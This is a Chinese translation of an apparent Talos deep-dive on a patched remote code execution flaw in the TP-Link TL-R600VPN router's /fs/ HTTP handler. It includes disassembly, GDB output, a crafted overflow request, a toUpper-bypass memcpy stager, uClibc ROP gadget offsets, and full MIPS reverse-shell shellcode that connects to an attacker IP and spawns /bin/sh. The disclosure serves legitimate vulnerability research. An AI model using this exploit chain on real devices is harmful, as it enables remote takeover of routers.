TP-Link TL-R600VPN远程执行代码漏洞分析

Pinging / 2019-01-18 09:41:00 / 浏览数 5127 技术文章 翻译文章 顶(0) 踩(0)

前言介绍

最近TP-Link修补了TL-R600VPN千兆宽带VPN路由器1.3.0版本中的三个漏洞。
在与TP-Link合作以确保其能及时发布补丁后，思科Talos公开了这些漏洞详情。目前对于这些漏洞已有了相应的解决方案，除此之外，我们希望能够对这些漏洞的内部工作方

背景

TP-Link TL-R600VPN是一款五端口小型办公室/家庭（SOHO）路由器。 该器件在芯片上集成了Realtek RTL8198系统。
这个特殊的芯片使用Lexra开发的MIPS-1架构的分支。
除了在处理未对齐的加载过程和存储操作的一些专有指令外，这两个设备的指令集基本相同。Lexra中未包含的说明包括LWL■SWL■LWR■SWR。
这些专有指令通常在MIPS-1架构编译程序时使用，然而在Lexra中使用时常遇到段错误。了解这些对我们下一步对代码的分析是很有帮助的。

要了解更多有关Lexra MIPS■■■MIPS-1■■的信息，请参阅：'The Lexra Story'与 MIPS-1 patent filing。

漏洞内容

该设备漏洞与HTTP服务器处理对/fs/目录的请求的方式有关。设备允许经过身份验证的攻击者远程执行设备上的代码。

当访问/fs/目录中的任何页面时，应用程序会错误地解析传递的HTTP标头。

- http://<router_ip>/fs/help</router_ip>
- http://<router_ip>/fs/images</router_ip>
- http://<router_ip>/fs/frames</router_ip>
- http://<router_ip>/fs/dynaform</router_ip>
- http://<router_ip>/fs/localiztion (注意：这不是拼写错误)</router_ip>

在函数"httpGetMimeTypeByFileName"中，Web服务器尝试解析所请求页面的文件扩展名以确定其mime■■。
在此处理过程中，服务器调用strlen()函数来确定所请求页面名称的长度，寻找到该堆分配字符串的末尾，并向后读取文件扩展名，直到遇到句点（0x2e）。

```
#
# calculates the length of the uri and seeks to the end
#
LOAD:00425CDC loc_425CDC:
LOAD:00425CDC                   la      $t9, strlen
LOAD:00425CE0                   sw      $zero, 0x38+var_20($sp)
LOAD:00425CE4                   jalr    $t9 ; strlen
LOAD:00425CE8                   sh      $zero, 0x38+var_1C($sp)
LOAD:00425CEC                   addu    $s0, $v0


# looks for a period at the current index and break out when found
LOAD:00425CF0                   li      $v0, 0x2E
LOAD:00425CF4                   lbu     $v1, 0($s0)
LOAD:00425CF8                   lw      $gp, 0x38+var_28($sp)
LOAD:00425CFC                   beq     $v1, $v0, loc_425D14
LOAD:00425D00                   li      $v1, 0b101110
LOAD:00425D04


# loop backwards until a period is found, loading the character into $s0
LOAD:00425D04 loc_425D04:
LOAD:00425D04                   addiu   $s0, -1
LOAD:00425D08                   lbu     $v0, 0($s0)
LOAD:00425D0C                   bne     $v0, $v1, loc_425D04
LOAD:00425D10                   nop
```

在请求的页面上应始终有一个扩展名，以防止攻击者进行攻击。这可以在下面的非恶意页面/web/dynaform/css_main.css的GDB字符串输出中看到，其中将解析文件的

```
0x67a170:       "/web/dynaform/css_main.css"
0x67a18b:       "46YWRtaW4="
0x67a196:       "\nConnection: close\r\n\r\nWRtaW4=\r\nConnection: close\r\n\r\n6YWRtaW4=\r\nConnection: close\r\n\r\n46YWRta
0x67a25e:       "aW4=\r\nConnection: close\r\n\r\nnnection: close\r\n\r\n"
0x67a28d:       ""
```

```
0x67a28e:        ""
0x67a28f:        ""
0x67a290:        ""
```

但是，如果我们请求其中任意一个易受攻击的页面，我们可以看到解析的URI将不包含句点（0x2e）。 因此，应用程序将会继续向后搜索一段时间。
在这种情况下，我们没有时间能在解析的URI以及早先存储在堆上的原始GET请求数据上（如下面的地址0x679960所示）搜索到我们的payload。我们可以在下面/fs/help

```
...
0x679960:        "/fs/help"
0x679969:        "elp"
0x67996d:        "HTTP/1.1"
0x679976:        "\n"
0x679978:        "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAcce
0x679a40:        "=0.5\r\nAccept-Encoding: gzip, deflate\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgr
0x679ac1:        ""
0x679ac2:        ""
0x679ac3:        ""
0x679ac4:        ""
0x679ac5:        ""
...
0x67a165:        "gp"
0x67a169:        ""
0x67a16a:        "\b"
0x67a16c:        ""
0x67a16d:        ""
0x67a16e:        ""
0x67a16f:        ""
0x67a170:        "/web/help"
0x67a17a:        "secure-Requests"
0x67a18a:        " 1"
0x67a18d:        "\n\r\nure-Requests: 1\r\n\r\nclose\r\nUpgrade-Insecure-Requests: 1\r\n\r\nUpgrade-Insecure-Requests: 1\r\n\r
0x67a255:        "tion: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\nure-Requests: 1\r\n
0x67a2ba:        ""
0x67a2bb:        ""
0x67a2bc:        ""
...
```

在拥有预期文件扩展名或系统易受攻击的情况下，当应用遇到句点时会将提取的字符串交付于toUpper()函数处理。
然后应用会通过存储字节指令将该操作的结果写入基于堆栈的缓冲区内。 这可以从提取的指令中看出。

```
#
# loads parsed data onto stack via a store byte call from $s0 register
#
LOAD:00425D20 loc_425D20:
LOAD:00425D20                 lbu     $a0, 0($a0)


# returns an uppercase version of the character where possible
LOAD:00425D24                 jalr    $t9 ; toUpper
LOAD:00425D28                 nop


# $gp references $s2, the place for the next char on the stack buffer
LOAD:00425D2C                 lw      $gp, 0x38+var_28($sp)

# stores the character into $s2
LOAD:00425D30                 sb      $v0, 0($s2)
LOAD:00425D34


# calculates the length of the entire user-supplied string
LOAD:00425D34 loc_425D34:
LOAD:00425D34                 la      $t9, strlen
LOAD:00425D38                 jalr    $t9 ; strlen

# place a pointer to the parsed data into arg0
LOAD:00425D3C                 move    $a0, $s0
LOAD:00425D40                 addiu   $v1, $sp, 0x38+var_20
LOAD:00425D44                 lw      $gp, 0x38+var_28($sp)
LOAD:00425D48                 sltu    $v0, $s1, $v0
```

```
LOAD:00425D4C                 addu    $a0, $s0, $s1
LOAD:00425D50                 addu    $s2, $v1, $s1
LOAD:00425D54                 la      $t9, toupper
```

程序继续执行，直到它执行到httpGetMimeTypeByFileName函数的结尾。此时系统会从堆栈上保存的值中加载返回地址和五个寄存器。当漏洞被利用时，这些保存的值会

```
#
# registers get overwritten with saved values on the stack
#
LOAD:00425DB4 loc_425DB4:
LOAD:00425DB4
LOAD:00425DB4                 lw      $ra, 0x38+var_4($sp)
LOAD:00425DB8                 lw      $s4, 0x38+var_8($sp)
LOAD:00425DBC                 lw      $s3, 0x38+var_C($sp)
LOAD:00425DC0                 lw      $s2, 0x38+var_10($sp)
LOAD:00425DC4                 lw      $s1, 0x38+var_14($sp)
LOAD:00425DC8                 lw      $s0, 0x38+var_18($sp)
LOAD:00425DCC                 jr      $ra
LOAD:00425DD0                 addiu   $sp, 0x38
LOAD:00425DD0  # End of function httpGetMimeTypeByFileName
```

在函数结尾处，应用会将数据进行复制并覆盖掉缓冲区循环处的原始数据。之后通过弹出程序来修改堆栈数据，并使用户可以控制返回的地址。
这也意味着用户能够在HTTPD进程的上下文中远程执行代码。

toUpper() 过滤器

在HTTP头起始解析期间，设备每迭代一个字节就会进行一次搜索周期（0x2e）并构建缓冲区。
遇到句点后，缓冲区将数据传递给toUpper()调用，并将缓冲区中的每个ASCII字符转换为大写的等效字符。

```
LOAD:00425D20 loc_425D20:
LOAD:00425D20                 lbu     $a0, 0($a0)
# returns an upper case version of the character where possible
LOAD:00425D24                 jalr    $t9 ; toUpper
LOAD:00425D28                 nop
```

然而设备在尝试通过HTTP标头发送shellcode时会遇到问题。因为系统无法避免进行toUpper()的调用，从而会阻止使用任何小写字符。 例如下面的GET请求。

```
GET /fs/help HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Content-Length: 2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 4
```

查看执行httpGetMimeTypeByFileName函数结尾的最后一次跳转之前的寄存器情况，我们可以看到标头中的'a'字符（0x61）已经转换为它们的大写版本（0x41）。

```
(GDB) i r

i r

         zero       at       v0       v1       a0       a1       a2       a3

R0   00000000 10000400 00514004 00000035 7dfff821 0051432d 01010101 80808080

           t0       t1       t2       t3       t4       t5       t6       t7

R8   00000002 fffffffe 00000000 00000006 19999999 00000000 00000057 00425d2c

           s0       s1       s2       s3       s4       s5       s6       s7

R16  41414141 41414141 41414141 41414141 41414141 006798f4 006798d0 00000000

           t8       t9       k0       k1       gp       sp       s8       ra
```

```
R24  00000132 2ab02820 00000000 00000000 00598790 7dfff808 7dfffa62 41414141

       status       lo       hi badvaddr    cause       pc
      0000040c 00059cf8 000001fa 00590cac 00000024 00425dcc
(GDB)
```

漏洞分析

对上面显示的寄存器的检查显示了在toUpper()调用之后，系统会留下可预测原始标题数据位置的指针。

虽然终止了httpGetMimeTypeByFileName函数结尾的最后一次跳转，但我们可以检查堆栈上的数据。在这里我们发现了现在的大写标题数据的一部分（包括payload）存

```
(GDB) x/32s $sp
x/32s $sp
0x7dfff808:      ""
0x7dfff809:      ""
...
0x7dfff81f:      ""
0x7dfff820:      "5\r\n", 'A' <repeats 197 times>...
0x7dfff8e8:      'A' <repeats 200 times>...
0x7dfff9b0:      'A' <repeats 200 times>...
0x7dfffa78:      'A' <repeats 200 times>...
0x7dfffb40:      'A' <repeats 143 times>, "\r\nCONTENT-LENGTH: 0\r\nACCEPT-ENCODING: GZIP, DEFLATE\r\nAUTH"...
0x7dfffc08:      "ORIZATION: BASIC YWRTAW46YWRTAW4=\r\nCONNECTION: KEEP-ALIVE\r\nUPGRADE-INSECURE-REQUESTS: 1\r\nCONTENT-LENGT
0x7dfffc77:      ""
0x7dfffc78:      ""
0x7dfffc79:      ""
...
(GDB)
```

相反，如果我们检查寄存器$ s5所指向的数据，我们会看到原始头数据仍然可访问。

```
(GDB) x/32s $s5+0x64
x/32s $s5+0x64
0x679958:        ""
0x679959:        ""
...
0x67995f:        ""
0x679960:        "/fs/help"
0x679969:        "elp"
0x67996d:        "HTTP/1.1"
0x679976:        "\n"
0x679978:        "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAcce
0x679a40:        "=0.5\r\n", 'a' <repeats 194 times>...
0x679b08:        'a' <repeats 200 times>...
0x679bd0:        'a' <repeats 200 times>...
0x679c98:        'a' <repeats 200 times>...
0x679d60:        'a' <repeats 146 times>, "\r\nContent-Length: 0\r\nAccept-Encoding: gzip, deflate\r\nA"...
0x679e28:        "uthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nContent-Le
0x679e9a:        ""
0x679e9b:        ""
...
(GDB)
```

该部分内存的权限显示该范围是可执行的，所以我们直接跳转到原始数据头。

```
# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69         /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69         /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aaec000-2aaed000 r--p 00004000 1f:02 359        /lib/ld-uClibc-0.9.30.so
...
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0          [stack]
```

toUpper()和strcmp()引入的限制，导致了这个路径无效。toUpper()的使用创建了一个条件，其中任何小写字母都必须被视为无效字符。
另外，由于我们的数据通过strcmp()调用，所以我们不能使用任何空字节。 除此之外，这些调用使我们无法使用以下任何字节：0x00,0x61-0x7a。

绕过 toUpper()函数

为了研究toUpper()函数带来的问题，我们创建了一小段调用memcpy()的代码，它在获得$ ra的控制权后并不使用任何小写字符或空字节来执行后续内容。
使用此代码，我们能够以原始的形式将标头数据复制到堆栈中并跳转任意地点执行。

```
move    $a0, $t9         # put the stack pointer into arg1
addiu   $a0, 0x12C       # increase arg1 so we don't overwrite this code
addiu   $a1, $s5, 0x198  # load the raw header data pointer into arg2
li      $a2, 0x374       # load the size into arg3
li      $t9, 0x2AB01E20  # load $t9 with the address of memcpy()
jalr    $t9              # call memcpy()
move    $t8, $t3         # placeholder to handle delay slot without nulls
move    $t9, $sp         # prep $t9 with the stack pointer
addiu   $t9, 0x14C       # increase the $t9 pointer to the raw header
jalr    $t9              # execute the raw header on the stack
move    $t8, $t3         # placeholder to handle delay slot without nulls
```

在我们使用这种技术之前，我们需要找到一种方法来获取memcpy()代码的执行情况。
很幸运，在这个设备上有一个可执行的堆栈，然而，我们不知道我们的代码存储在哪里。
我们最终使用了一种改进的ret2libc技术，此技术帮助我们利用uClibc中的小工具来获取堆栈的指针并为我们的代码设置寄存器。

我们的第一个小工具位于uClibc的偏移0x0002fc84处，用于将堆栈指针递增0x20以超过任何memcpy shellcode。
为了确保使用此工具后能够获得对程序执行的控制权限，我们将第二个小工具的地址放在0x20 + $ sp的位置，如下所示。

```
LOAD:0002FC84                 lw      $ra, 0x20+var_8($sp)
LOAD:0002FC88                 jr      $ra
LOAD:0002FC8C                 addiu   $sp, 0x20
```

位于uClibc偏移地址0x000155b0的第二个工具用于获取指向递增堆栈的指针。 系统将所需的指针放入寄存器$ a1中。
之后，我们将第三个工具的地址放在0x58 + $ sp位置，如下所示，以确保使用后能够拿到对程序的控制权限。

```
LOAD:000155B0                 addiu   $a1, $sp, 0x58+var_40
LOAD:000155B4                 lw      $gp, 0x58+var_48($sp)
LOAD:000155B8                 sltiu   $v0, 1
LOAD:000155BC                 lw      $ra, 0x58+var_8($sp)
LOAD:000155C0                 jr      $ra
LOAD:000155C4                 addiu   $sp, 0x58
```

最后，位于uClibc偏移地址0x000172fc的工具用于跳转到堆栈缓冲区。

```
LOAD:000172FC                 move    $t9, $a1
LOAD:00017300                 move    $a1, $a2
LOAD:00017304                 sw      $v0, 0x4C($a0)
LOAD:00017308                 jr      $t9
LOAD:0001730C                 addiu   $a0, 0x4C  # 'L'
```

为了方便查询工具执行成功的具体位置，我们需要获取uClibc的加载地址。之后我们查看下面的进程内存映射，可以看到uClibc的可执行版本会加载到地址0x2aaee000处

```
# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69         /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69         /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aaec000-2aaed000 r--p 00004000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaed000-2aaee000 rw-p 00005000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaee000-2ab21000 r-xp 00000000 1f:02 363        /lib/libuClibc-0.9.30.so
2ab21000-2ab61000 ---p 00000000 00:00 0
2ab61000-2ab62000 rw-p 00033000 1f:02 363        /lib/libuClibc-0.9.30.so
2ab62000-2ab66000 rw-p 00000000 00:00 0
2ab66000-2ab68000 r-xp 00000000 1f:02 349        /lib/librt-0.9.30.so
2ab68000-2aba7000 ---p 00000000 00:00 0
...
7f001000-7f200000 rwxp 00000000 00:00 0
7f200000-7f201000 ---p 00000000 00:00 0
7f201000-7f400000 rwxp 00000000 00:00 0
```

```
7f400000-7f401000 ---p 00000000 00:00 0
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0          [stack]
```

通过获取uClibc的加载地址并将其添加到工具所获取的偏移地址处，我们可以获得所需代码的可用地址。然后我们策略性地放置这些地址，从而执行我们的初始代码，随后

LexraMIPS shellcode

虽然LexraMIPS基于了MIPS■■，但在尝试执行某些标准MIPS指令时，它确存在偏差。 因此，我们此处选择使用GCC■■专门为LexraMIPS开发shellcode。
下面的代码采用创建连接的方法，将stdin、stdout和stderr复制到套接字文件描述符中，最后生成一个shell。

我们首先在设备上打开一个套接字，利用一种技术来避免$ t7寄存器中产生任何空字节。 此外我们应该注意，MIPS $
zero寄存器在使用时不能包含任何空字节。

```
li $t7, -6           # set up $t7 with the value 0xfffffffa
nor $t7, $t7, $zero  # nor $t7 with zero to get the value 0x05 w/o nulls
addi $a0, $t7, -3    # $a0 must hold family (AF_INET - 0x02)
addi $a1, $t7, -3    # $a1 must hold type (SOCK_STREAM - 0x02)
slti $a2, $zero, -1  # $a2 must hold protocol (essentially unset - 0x00)
li $v0, 4183         # sets the desired syscall to 'socket'
syscall 0x40404      # triggers a syscall, removing null bytes
```

打开套接字后，我们使用connect syscall连接设备与攻击者的TCP。

在此步骤中，产生空字节是一个特殊问题，因为此设备的默认子网包含零。
为了避免这个问题，我们利用一种技术强制我们的预寄存器值产生溢出并产生所需的IP地址从而不使用空字节。

```
sw $v0, -36($sp)     # puts the returned socket reference onto the stack
lw $a0, -36($sp)     # $a0 must hold the file descriptor - pulled from the stack
sw $a1, -32($sp)     # place socket type (SOCK_STREAM - 0x02) onto the stack
lui $t7, 8888        # prep the upper half of $t7 register with the port number
ori $t7, $t7, 8888   # or the $t7 register with the desired port number
sw $t7, -28($sp)     # place the port onto the stack
lui $t7, 0xc0a7      # put the first half of the ip addr into $t7 (192.166)
ori $t7, 0xff63      # put the second half of the ip addr into $t7 (255.99)
addiu $t7, 0x101     # fix the ip addr (192.166.255.99 --> 192.168.0.100)
sw $t7, -26($sp)     # put the ip address onto the stack
addiu $a1, $sp, -30  # put a pointer to the sockaddr struct into $a1
li $t7, -17          # load 0xffef into $t7 for later processing
nor $a2, $t7, $zero  # $a2 must hold the address length - 0x10
li $v0, 4170         # sets the desired syscall to 'connect'
syscall 0x40404      # triggers a syscall, removing null bytes
```

为确保设备能接受我们的输入并正确显示输出，我们必须复制stdin、stdout和stderr文件描述符。
之后我们将每个I/O文件描述符复制到我们的套接字中，从而能够成功地为设备提供输入并查看输出。

```
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
lw $a1, -32($sp)     # put the stderr fd into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
addi $a1, $t7, -1    # put the stdout fd into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
addi $a1, $t7, -2    # put the stdin syscall into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes
```

最后，我们使用execve系统调用在设备上本地生成shell。
由于这个shell是从我们的socket生成的，并且我们已经控制了stdin/stdout/stderr，于是我们可以通过远程连接来控制新的shell。

```
lui $t7, 0x2f2f      # start building the command string    --> //
ori $t7, $t7, 0x6269 # continue building the command string --> bi
sw $t7, -20($sp)     # put the string so far onto the stack
lui $t7, 0x6e2f      # continue building the command string --> n/
ori $t7, $t7, 0x7368 # continue building the command string --> sh
sw $t7, -16($sp)     # put the next portion of the string onto the stack
```

```
sw $zero, -12($sp)   # null terminate the command string
addiu $a0, $sp, -20  # place a pointer to the command string into arg 1
sw $a0, -8($sp)      # place a pointer to the command string array onto the stack
sw $zero, -4($sp)    # null terminate the array
addiu $a1, $sp, -8   # load the pointer to our command string array into arg 2
slti $a2, $zero, -1  # sets $a2 to 0
li $v0, 4011         # sets the desired syscall to 'execve'
syscall 0x40404      # triggers a syscall, removing null bytes
```

通过设备上的功能，我们可以继续对设备进行分析。

结论

这些漏洞在物联网设备中都很常见。
攻击者可以在发现这些问题后将其结构化以便在其他设备上执行这些攻击代码。我们都必须意识到物联网设备与计算机一样，需要维护相应的软件安全以保证设备的安全性。

Talos将继续研究此类漏洞，并与供应商合作以确保客户受到保护，并在必要时提供额外的深度分析。

■■■■■■■■■■■■■■■https://blog.talosintelligence.com/2019/01/vulnerability-deep-dive-tp-link.html